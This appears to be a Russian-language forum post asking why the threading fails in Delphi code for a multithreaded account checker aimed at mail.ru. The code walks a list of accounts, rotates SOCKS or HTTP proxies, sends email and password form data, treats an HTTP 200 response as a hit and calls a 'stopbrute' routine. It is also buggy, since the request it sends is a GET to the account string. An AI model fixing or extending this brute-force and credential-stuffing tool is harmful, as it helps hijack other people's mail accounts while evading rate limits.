Где и что я напутал с потоком

  Acc3:=-1;
 prox:=-1;
 Work3:=true;
 for Thread3:=0 to form3.sSpinEdit1.Value do
 TStas.Create(false);
 Thread3:=form3.sSpinEdit1.Value;

procedure TStas.Execute;
var CurAcc, TP:integer;
    HTTP:THTTPSend;
    IP, Port:string;
    data:TStringStream;
    HTML, src:TStringList;
begin
 while Work3 do
  begin
   CS.Enter;
    Inc(Acc3);  Inc(prox);
    if Acc3<Accounts.Count then CurAcc:=Acc3 else Work3:=false;
    if prox<Proxy.Count-1 then TP:=prox else begin
      prox:=0;
      TP:=prox;
    end;
   CS.Leave;
 
   if Work3 then
    begin
 
     //copy login
 
     //copy proxy
     if Proxy.Text = '' then
     begin
      sleep(0);
     end
      else
     begin
     IP:=Copy(Proxy[TP], 1, Pos(':', Proxy[TP])-1);
     Port:=Copy(Proxy[TP],Pos(':',Proxy[TP])+1,Length(Proxy[TP]));
     end;
 
     HTTP:=THTTPSend.Create;
     //Заголовки
     with HTTP do begin
      Headers.Add('Referer: [url]http://mail.ru/');[/url]
      Headers.Add('Cache-Control: max-age=0');
      Headers.Add('Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01');
      MimeType:='application/x-www-form-urlencoded';
     // UserAgent:=GetRandomUserAgent;
      Headers.Add('Origin: [url]http://mail.ru');[/url]
      Headers.Add('Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3');
      Headers.Add('Accept-Encoding: gzip, deflate');
      Headers.Add('Connection: keep-alive');
     end;
 
     //POST
     data:=Tstringstream.Create;
     data.WriteString('email='+ Flogin+'&password='+ Fpassword+'&log_in=');
     HTTP.Document.LoadFromStream(data);
 
     //Proxy
     if Proxy.Text = '' then
      begin
      sleep(0)
      end else
     begin
     //socks
     if proxymode='socks' then
     begin
     HTTP.Sock.SocksIP:=IP;
     HTTP.Sock.SocksPort:=Port;
     end;
     //HTTP
     if proxymode='http' then
     begin
     HTTP.ProxyHost:=IP;
     HTTP.ProxyPort:=Port;
     end;
     end;
 
 
     if HTTP.HTTPMethod('GET', accounts[CurAcc]) then begin
    Flogin:=accounts[CurAcc];
     if pos('200', HTTP.Headers.Text)<>0 then
     begin
 
     Rezult:=1;
     end else
     begin
     Rezult:=0;
     end;
    
 //    form3.Memo1.Lines.Add('====  '+ HTTP.Headers.Text);
     HTTP.Free;
     src.Free;
     data.Free;
 
     Synchronize(Sync);
    end;
  end;
 
 dec(Thread3);
 if Thread3=0 then stopbrute();
end;

 CS.Enter;
    Inc(Acc3);  Inc(prox);
    if Acc3<Accounts.Count then CurAcc:=Acc3 else Work3:=false;
    if prox<Proxy.Count-1 then TP:=prox else begin
      prox:=0;
      TP:=prox;
    end;
   CS.Leave;

 dec(Thread3);
 if Thread3=0 then stopbrute();